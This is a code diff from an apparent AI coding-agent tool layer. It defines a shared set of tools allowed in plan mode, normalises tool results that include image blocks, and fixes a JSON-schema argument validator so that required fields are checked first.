474
467
  const SAFETY_RANK = {
@@ -0,0 +1,21 @@
1
+ /**
2
+ * Single source of truth for which tools are permitted in plan mode.
3
+ *
4
+ * Two call sites consume this:
5
+ * - engine.ts: filters the tool DEFINITIONS shown to the model, so the
6
+ * model only sees tools it's allowed to use while planning.
7
+ * - executor.ts: gates tool EXECUTION, refusing anything outside the set.
8
+ *
9
+ * These two lists used to be maintained separately and drifted (engine had
10
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
11
+ * Task family), so the model could be shown a tool the executor would then
12
+ * block, or vice-versa. Keep them identical by importing this constant in
13
+ * both places.
14
+ *
15
+ * Membership policy: read-only tools, planning/agent tools, and
16
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
17
+ * the executor additionally gates Bash to read-only commands at call time
18
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
19
+ * other mutating tools are intentionally excluded.
20
+ */
21
+ export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;
@@ -0,0 +1,43 @@
1
+ /**
2
+ * Single source of truth for which tools are permitted in plan mode.
3
+ *
4
+ * Two call sites consume this:
5
+ * - engine.ts: filters the tool DEFINITIONS shown to the model, so the
6
+ * model only sees tools it's allowed to use while planning.
7
+ * - executor.ts: gates tool EXECUTION, refusing anything outside the set.
8
+ *
9
+ * These two lists used to be maintained separately and drifted (engine had
10
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
11
+ * Task family), so the model could be shown a tool the executor would then
12
+ * block, or vice-versa. Keep them identical by importing this constant in
13
+ * both places.
14
+ *
15
+ * Membership policy: read-only tools, planning/agent tools, and
16
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
17
+ * the executor additionally gates Bash to read-only commands at call time
18
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
19
+ * other mutating tools are intentionally excluded.
20
+ */
21
+ export const PLAN_MODE_ALLOWED_TOOLS = new Set([
22
+ // Plan lifecycle
23
+ "EnterPlanMode",
24
+ "ExitPlanMode",
25
+ // Read-only investigation
26
+ "Read",
27
+ "Glob",
28
+ "Grep",
29
+ "WebSearch",
30
+ "WebFetch",
31
+ // Agent / interaction / discovery
32
+ "AskUserQuestion",
33
+ "Agent",
34
+ "ToolSearch",
35
+ // Task tracking (non-destructive) — both the TodoWrite and the Task* family
36
+ "TodoWrite",
37
+ "TaskCreate",
38
+ "TaskUpdate",
39
+ "TaskList",
40
+ "TaskGet",
41
+ // Bash: visible to the model; executor gates it to read-only commands.
42
+ "Bash",
43
+ ]);
@@ -101,7 +101,18 @@ export class ToolRegistry {
101
101
  ]);
102
102
  clearTimeout(timerId);
103
103
  parentSignal?.removeEventListener("abort", onParentAbort);
104
- return { id, toolName: name, result };
104
+ // executor 可返回纯字符串,或 { contentBlocks, result? }(view_image
105
+ // 用后者回传图片块)。归一化成 ToolResult:有 contentBlocks 就带上,
106
+ // result 始终保留一份文本镜像供 transcript / 摘要使用。
107
+ if (typeof result === "string") {
108
+ return { id, toolName: name, result };
109
+ }
110
+ return {
111
+ id,
112
+ toolName: name,
113
+ result: result.result ?? "(image)",
114
+ contentBlocks: result.contentBlocks,
115
+ };
105
116
  }
106
117
  catch (err) {
107
118
  clearTimeout(timerId);
@@ -1,3 +1,13 @@
1
+ /**
2
+ * Lightweight tool input validation against a JSON Schema.
3
+ *
4
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
5
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
6
+ * nested shapes, and formats are intentionally NOT validated — this is a
7
+ * cheap pre-flight guard, not a substitute for the provider's own schema
8
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
9
+ * never used zod — corrected to avoid misleading readers.)
10
+ */
1
11
  /**
2
12
  * Validate tool args against the tool's inputSchema.
3
13
  * Returns null if valid, error string if invalid.
@@ -1,3 +1,13 @@
1
+ /**
2
+ * Lightweight tool input validation against a JSON Schema.
3
+ *
4
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
5
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
6
+ * nested shapes, and formats are intentionally NOT validated — this is a
7
+ * cheap pre-flight guard, not a substitute for the provider's own schema
8
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
9
+ * never used zod — corrected to avoid misleading readers.)
10
+ */
1
11
  /**
2
12
  * Validate tool args against the tool's inputSchema.
3
13
  * Returns null if valid, error string if invalid.
@@ -6,14 +16,17 @@ export function validateToolArgs(toolName, args, schema) {
6
16
  try {
7
17
  const properties = schema.properties;
8
18
  const required = schema.required ?? [];
9
- if (!properties)
10
- return null;
11
- // Check required fields
19
+ // Required-field presence does not depend on `properties` existing — a
20
+ // schema may declare `required` with no `properties` block (e.g. a
21
+ // malformed external MCP tool schema). Check it before the properties
22
+ // guard so missing params are still caught.
12
23
  for (const field of required) {
13
24
  if (args[field] === undefined || args[field] === null) {
14
25
  return `Missing required parameter: ${field}`;
15
26
  }
16
27
  }
28
+ if (!properties)
29
+ return null; // No property shapes to type-check.
17
30
  // Type check each provided field
18
31
  for (const [key, value] of Object.entries(args)) {
19
32
  const propSchema = properties[key];